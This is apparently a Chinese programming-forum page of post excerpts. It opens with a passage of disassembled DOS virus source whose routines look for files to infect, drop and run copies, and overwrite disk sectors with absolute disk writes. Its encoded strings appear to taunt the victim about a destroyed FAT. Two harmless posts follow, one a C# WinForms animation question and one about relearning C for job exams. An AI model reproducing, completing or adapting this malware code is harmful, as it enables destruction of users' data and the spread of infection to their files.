LOC_30:
MOV AL,DS:DATA_4E ; (0000:060F=0)
CMP AL,DS:DATA_7E ; (0000:0612=0)
JE LOC_31 ; Jump if equal
MOV DL,29H ; ')'
MOV AL,DS:DATA_4E ; (0000:060F=0)
CALL SUB_7 ; (09C9)
DEC BYTE PTR DS:DATA_4E ; (0000:060F=0)
LOC_31:
MOV AL,DS:DATA_4E ; (0000:060F=0)
CMP AL,DS:DATA_7E ; (0000:0612=0)
JNE LOC_27 ; Jump if not equal
MOV AH,DS:DATA_3E ; (0000:060E=0)
CMP AH,DS:DATA_6E ; (0000:0611=0)
JNE LOC_27 ; Jump if not equal
MOV BL,DS:DATA_2E ; (0000:060D=0)
CMP BL,DS:DATA_5E ; (0000:0610=0)
JNE LOC_27 ; Jump if not equal
CMP AL,0
JNE LOC_32 ; Jump if not equal
CMP AH,0
JNE LOC_32 ; Jump if not equal
CMP BL,0
JNE LOC_32 ; Jump if not equal
MOV DX,80AH
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
CALL SUB_9 ; (0A18)
JMP SHORT LOC_35 ; (09C7)
DB 90H
LOC_32:
CMP AL,1
JNE LOC_33 ; Jump if not equal
CMP AH,1
JNE LOC_33 ; Jump if not equal
CMP BL,1
JNE LOC_33 ; Jump if not equal
MOV DX,88DH
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
JMP SHORT LOC_34 ; (09BD)
DB 90H
LOC_33:
MOV AL,DS:DATA_1E ; (0000:060C=0)
CMP AL,0
JE LOC_34 ; Jump if equal
JMP LOC_26 ; (08BF)
LOC_34:
MOV DX,8D6H
MOV AH,9
INT 21H ; DOS Services ah=function 09h
; display char string at ds:dx
JMP SHORT LOC_35 ; (09C7)
NOP
LOC_35:
JMP SHORT LOC_35 ; (09C7)
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_7 PROC NEAR
MOV AH,0
PUSH AX
MOV DH,0BH
MOV AH,2
MOV BH,0
INT 10H ; Video display ah=functn 02h
; set cursor location in dx
POP AX
MOV BL,3
DIV BL ; al, ah rem = ax/reg
MOV BL,AH
MOV BH,0
ADD BX,609H
MOV AL,[BX]
MOV AH,0EH
MOV BX,0
INT 10H ; Video display ah=functn 0Eh
; write char al, teletype mode
retn
SUB_7 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_8 PROC NEAR
PUSH DS
MOV BX,DS
ADD BX,1000H
MOV DS,BX
MOV BX,0
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV CX,50H
MOV DX,0
INT 25H ; Absolute disk read, drive al
POPF ; Pop flags
MOV BX,0
MOV DS,BX
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV CX,50H
MOV DX,0
INT 26H ; Absolute disk write, drive al
POPF ; Pop flags
POP DS
retn
SUB_8 ENDP
;?????????????????????????????????????
; SUBROUTINE
;?????????????????????????????????????
SUB_9 PROC NEAR
PUSH DS
MOV BX,DS
ADD BX,1000H
MOV DS,BX
MOV BX,0
MOV AH,19H
INT 21H ; DOS Services ah=function 19h
; get default drive al (0=a:)
MOV CX,50H
MOV DX,0
INT 26H ; Absolute disk write, drive al
POPF ; Pop flags
POP DS
retn
SUB_9 ENDP
LOC_36:
MOV BX,0
MOV AX,4B59H
INT 21H ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
CMP AX,666H
JNE LOC_37 ; Jump if not equal
JMP LOC_41 ; (0AF0)
LOC_37:
PUSH DS
POP ES
PUSH DS
PUSH CS
POP DS
MOV SI,0
MOV DI,917H
MOV CX,100H
CLD ; Clear direction
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
POP DS
MOV AH,2FH ; '/'
INT 21H ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
MOV DS:DATA_14E,BX ; (6AE6:0041=0)
MOV DS:DATA_15E,ES ; (6AE6:0043=6AE6h)
MOV DX,4EH
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
MOV DX,11H
MOV CX,3FH
MOV AH,4EH ; 'N'
INT 21H ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
JC LOC_38 ; Jump if carry Set
MOV DX,11H
CALL SUB_1 ; (06EE)
CMP DL,1
JNE LOC_38 ; Jump if not equal
CALL SUB_2 ; (073C)
LOC_38:
CALL SUB_5 ; (07FD)
MOV DX,20H
MOV CX,2
MOV AH,3CH ; '<'
INT 21H ; DOS Services ah=function 3Ch
; create/truncate file @ ds:dx
JC LOC_40 ; Jump if carry Set
MOV BX,AX
MOV DX,0
MOV CX,91AH
MOV AH,40H ; '@'
INT 21H ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
PUSH AX
MOV AH,3EH ; '>'
INT 21H ; DOS Services ah=function 3Eh
; close file, bx=file handle
POP AX
CMP AX,CX
JE LOC_39 ; Jump if equal
MOV DX,20H
MOV AH,41H ; 'A'
INT 21H ; DOS Services ah=function 41h
; delete file, name @ ds:dx
JMP SHORT LOC_40 ; (0AD1)
DB 90H
LOC_39:
PUSH CS
POP ES
MOV BX,CS:DATA_8E ; (6AE6:0002=0)
SUB BX,92CH
MOV CX,CS
SUB BX,CX
MOV AH,4AH ; 'J'
INT 21H ; DOS Services ah=function 4Ah
; change mem allocation, bx=siz
MOV DX,20H
PUSH DS
POP ES
MOV BX,2DH
MOV AX,4B00H
INT 21H ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
LOC_40:
CALL SUB_6 ; (0813)
PUSH CS
POP ES
MOV DI,0
MOV SI,917H
MOV CX,0FFH
CLD ; Clear direction
REP MOVSB ; Rep when cx >0 Mov [si] to es:[di]
MOV DX,DS:DATA_14E ; (6AE6:0041=0)
MOV BX,DS:DATA_15E ; (6AE6:0043=6AE6h)
MOV DS,BX
MOV AH,1AH
INT 21H ; DOS Services ah=function 1Ah
; set DTA to ds:dx
LOC_41:
PUSH CS
POP DS
JMP $-0F32H
JMP $+3DFH
DB 48H, 9BH, 9CH, 3FH, 5, 0AH
DB 5, 3, 1, 3, 0, 6EH
DB 71H, 6DH, 6DH, 84H, 84H, 84H
DB 0A8H, 0ADH, 0B7H, 0AFH, 84H, 0A8H
DB 0A9H, 0B7H, 0B8H, 0B6H, 0B3H, 0BDH
DB 0A9H, 0B6H, 84H, 5DH, 84H, 0A5H
DB 84H, 0B7H, 0B3H, 0B9H, 0BAH, 0A9H
DB 0B2H, 0ADH, 0B6H, 84H, 0B3H, 0AAH
DB 84H, 0B1H, 0A5H, 0B0H, 0B8H, 0A5H
DB 6EH, 71H, 6EH, 71H, 6DH, 6DH
DB 0ADH, 84H, 0CCH, 0C5H, 0DAH, 0C9H
DB 84H, 0CEH, 0D9H, 0D7H, 0D8H, 84H
DB 0A8H, 0A9H, 0B7H, 0B8H, 0B6H, 0B3H
DB 0BDH, 0A9H, 0A8H, 84H, 0D8H, 0CCH
DB 0C9H, 84H, 0AAH, 0A5H, 0B8H, 84H
DB 0D3H, 0D2H, 84H, 0DDH, 0D3H, 0D9H
DB 0D6H, 84H, 0A8H, 0CDH, 0D7H, 0CFH
DB 84H, 85H, 85H, 6EH, 71H, 84H
DB 84H, 84H, 84H, 84H, 84H, 0ACH
DB 0D3H, 0DBH, 0C9H, 0DAH, 0C9H, 0D6H
DB 90H, 84H, 0ADH, 84H, 0CCH, 0C5H
DB 0DAH, 0C9H, 84H, 0C5H, 84H, 0C7H
DB 0D3H, 0D4H, 0DDH, 84H, 0CDH, 0D2H
DB 84H, 0B6H, 0A5H, 0B1H, 90H, 84H
DB 0C5H, 0D2H, 0C8H, 84H, 0ADH, 0C4H
DB 0D1H, 84H, 0CBH, 0CDH, 0DAH, 0CDH
DB 0D2H, 0CBH, 84H, 0DDH, 0D3H, 0D9H
DB 84H, 0C5H, 84H, 0D0H, 0C5H, 0D7H
DB 0D8H, 84H, 0C7H, 0CCH, 0C5H, 0D2H
DB 0C7H, 0C9H, 6EH, 71H, 6DH, 6DH
DB 6DH, 0D8H, 0D3H, 84H, 0D6H, 0C9H
DB 0D7H, 0D8H, 0D3H, 0D6H, 0C9H, 84H
DB 0DDH, 0D3H, 0D9H, 0D6H, 84H, 0D4H
DB 0D6H, 0C9H, 0C7H, 0CDH, 0D3H, 0D9H
DB 0D7H, 84H, 0C8H, 0C5H, 0D8H, 0C5H
DB 92H, 6EH, 71H, 84H, 84H, 84H
DB 84H, 84H, 0BBH, 0A5H, 0B6H, 0B2H
DB 0ADH, 0B2H, 0ABH, 9EH, 84H, 0ADH
DB 0AAH, 84H, 0BDH, 0B3H, 0B9H, 84H
DB 0B6H, 0A9H, 0B7H, 0A9H, 0B8H, 84H
DB 0B2H, 0B3H, 0BBH, 90H, 84H, 0A5H
DB 0B0H, 0B0H, 84H, 0BDH, 0B3H, 0B9H
DB 0B6H, 84H, 0A8H, 0A5H, 0B8H, 0A5H
DB 84H, 0BBH, 0ADH, 0B0H, 0B0H, 84H
DB 0A6H, 0A9H, 84H, 0B0H, 0B3H, 0B7H
DB 0B8H, 84H, 91H, 84H, 0AAH, 0B3H
DB 0B6H, 0A9H, 0BAH, 0A9H, 0B6H, 84H
DB 85H, 85H, 6EH, 71H, 6DH, 6DH
DB 84H, 84H, 84H, 0BDH, 0D3H, 0D9H
DB 0D6H, 84H, 0A8H, 0C5H, 0D8H, 0C5H
DB 84H, 0C8H, 0C9H, 0D4H, 0C9H, 0D2H
DB 0C8H, 0D7H, 84H, 0D3H, 0D2H, 84H
DB 0C5H, 84H, 0CBH, 0C5H, 0D1H, 0C9H
DB 84H, 0D3H, 0CAH, 84H, 0AEH, 0A5H
DB 0A7H, 0AFH, 0B4H, 0B3H, 0B8H, 71H
DB 6EH, 71H, 6EH, 6DH, 6DH, 84H
DB 84H, 84H, 84H, 84H, 84H, 0A7H
DB 0A5H, 0B7H, 0ADH, 0B2H, 0B3H, 84H
DB 0A8H, 0A9H, 84H, 0B1H, 0A5H, 0B0H
DB 0B8H, 0A9H, 84H, 0AEH, 0A5H, 0A7H
DB 0AFH, 0B4H, 0B3H, 0B8H
DB ' ;nqnqmmm-1'
DB 1FH, 6DH, 2DH, 31H, 1FH, 6DH
DB 2DH, 31H, 1FH, 6EH, 71H, 6DH
DB 6DH, 6DH, 3BH, 0, 3BH, 6DH
DB 3BH, 0A3H, 3BH, 6DH, 3BH, 0FFH
DB ' ;;nqmmm,1 m,1 m,1 nqmmm'
DB 84H, 84H, 84H, 84H, 0A7H, 0B6H
DB 0A9H, 0A8H, 0ADH, 0B8H, 0B7H, 84H
DB 9EH, 84H, 99H
DB ' ;nqqnqnmmm'
DB 0, 0, 0, 84H, 0A1H, 84H
DB 0BDH, 0D3H, 0D9H, 0D6H, 84H, 0A8H
DB 0CDH, 0D7H, 0CFH, 6EH, 71H, 6DH
DB 6DH, 6DH, 0A3H, 0A3H, 0A3H, 84H
DB 0A1H, 84H, 0B1H, 0DDH, 84H, 0B4H
DB 0CCH, 0D3H, 0D2H, 0C9H, 84H, 0B2H
DB 0D3H, 92H, 6EH, 71H, 6EH, 71H
DB 6DH, 6DH, 6DH, 0A5H, 0B2H, 0BDH
DB 84H, 0AFH, 0A9H, 0BDH, 84H, 0B8H
DB 0B3H, 84H, 0B4H, 0B0H, 0A5H, 0BDH
DB ' ;qnqnqnqnqn'
DB 88H, 6EH, 71H, 0A6H, 0A5H, 0B7H
DB 0B8H, 0A5H, 0B6H, 0A8H, 84H, 85H
DB 84H, 0BDH, 0D3H, 0D9H, 0C4H, 0D6H
DB 0C9H, 84H, 0D0H, 0D9H, 0C7H, 0CFH
DB 0DDH, 84H, 0D8H, 0CCH, 0CDH, 0D7H
DB 84H, 0D8H, 0CDH, 0D1H, 0C9H, 84H
DB 91H, 84H, 0C6H, 0D9H, 0D8H, 84H
DB 0CAH, 0D3H, 0D6H, 84H, 0DDH, 0D3H
DB 0D9H, 0D6H, 84H, 0D3H, 0DBH, 0D2H
DB 84H, 0D7H, 0C5H, 0CFH, 0C9H, 90H
DB 84H, 0D2H, 0D3H, 0DBH, 6EH, 71H
DB 0B7H, 0BBH, 0ADH, 0B8H, 0A7H, 0ACH
DB 84H, 0B3H, 0AAH, 0AAH, 84H, 0BDH
DB 0B3H, 0B9H, 0B6H, 84H, 0A7H, 0B3H
DB 0B1H, 0B4H, 0B9H, 0B8H, 0A9H, 0B6H
DB 84H, 0A5H, 0B2H, 0A8H, 84H, 0A8H
DB 0B3H, 0B2H, 0C4H, 0B8H, 84H, 0B8H
DB 0B9H, 0B6H
LOC_42:
MOV DL,84H
LODSW ; String [si] to ax
MOV AX,0B384H
MOV DL,84H
MOV AX,0B0ADH
MOV AL,84H
MOV AX,0B1B3H
MOV BL,0B6H
MOV DH,0B3H
MOV BX,8584H
TEST AX,DS:DATA_33E[DI] ; (6AE6:716E=0)
MOV [BP+71H],CH
MOV DL,0D3H
TEST CH,[BP+SI-3827H]
IRET ; Interrupt return
DB 0CDH, 0D2H, 0C4H, 84H, 0A7H, 0CCH
DB 0C5H, 0D2H, 0C7H, 0C9H, 9FH, 84H
DB 0C5H, 0D2H, 0C8H, 84H, 0ADH, 0C4H
DB 0D1H, 84H, 0D4H, 0D9H, 0D2H, 0CDH
DB 0D7H, 0CCH, 0CDH, 0D2H, 0CBH, 84H
DB 0DDH, 0D3H, 0D9H, 84H, 0CAH, 0D3H
DB 0D6H, 84H, 0D8H, 0D6H, 0DDH, 0CDH
DB 0D2H, 0CBH, 84H, 0D8H, 0D3H, 84H
DB 0D8H, 0D6H, 0C5H, 0C7H, 0C9H, 84H
DB 0D1H, 0C9H, 84H, 0C8H, 0D3H, 0DBH
DB 0D2H, 84H, 85H, 88H, 6EH, 71H
DB 0ACH, 0A5H, 84H, 0ACH, 0A5H, 84H
DB 85H, 85H, 84H, 0BDH, 0D3H, 0D9H
DB 84H, 0C5H, 0D7H, 0D7H, 0CCH, 0D3H
DB 0D0H, 0C9H, 90H, 84H, 0DDH, 0D3H
DB 0D9H, 0C4H, 0DAH, 0C9H, 84H, 0D0H
DB 0D3H, 0D7H, 0D8H, 9EH, 84H, 0D7H
DB 0C5H, 0DDH, 84H, 0A6H, 0DDH, 0C9H
DB 84H, 0D8H, 0D3H, 84H, 0DDH, 0D3H
DB 0D9H, 0D6H, 84H, 0A6H, 0C5H, 0D0H
DB 0D0H, 0D7H, 84H, 92H, 92H, 92H
DB 6EH, 71H, 88H, 0CDH, 20H, 0
SEG_A ENDS
END START
----------------------------------------------------------
{:43_8920:}不能发asm文件,我只好这样了!
[查看全文]
namespace WindowsFormsApplication7
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private void radioButton1_CheckedChanged(object sender, EventArgs e)
{
}
private void timer1_Tick(object sender, EventArgs e)
{
if (radioButton1.Left < 101) //让球自动向右运动
radioButton1.Left++;
else if (radioButton1.Top > 158)//设置临界点让球的运动发生变化
radioButton1.Top--;
else if (radioButton1.Left < 189)
radioButton1.Left++;
else if (radioButton1.Top < 191)
radioButton1.Top++;
else if (radioButton1.Left < 264)
radioButton1.Left++;
}
}
}
-----------------------华丽的分割线------------------------------------------
我这个编程就是让radioButton像一颗球一样沿着Button1、2、3的表面滑动。。。
问题就是我的”球“滑倒一半就不能动了。。
好像是下面这部分的代码都没用到。。。
else if (radioButton1.Top < 191)
radioButton1.Top++;
else if (radioButton1.Left < 264)
radioButton1.Left++;
[查看全文]
比如三年前学过C语言,后来就再也没有抠过细节的东西……始终在参考例程然后改一改的水平……还有用MATLAB基本函数的水平……
比如两年前学过数据结构,类c的……于是从来没会过c++…从那以后再也没用过除了栈的概念之外的数据结构……
现在找工作各种考c考数据结构,发现忘光了……读程序还没事儿,自己一写真是坑,选择填空也很坑……
于是想问一下大家~除了重新学习一遍……大家还有什么快速拾起的方法吗?
[查看全文]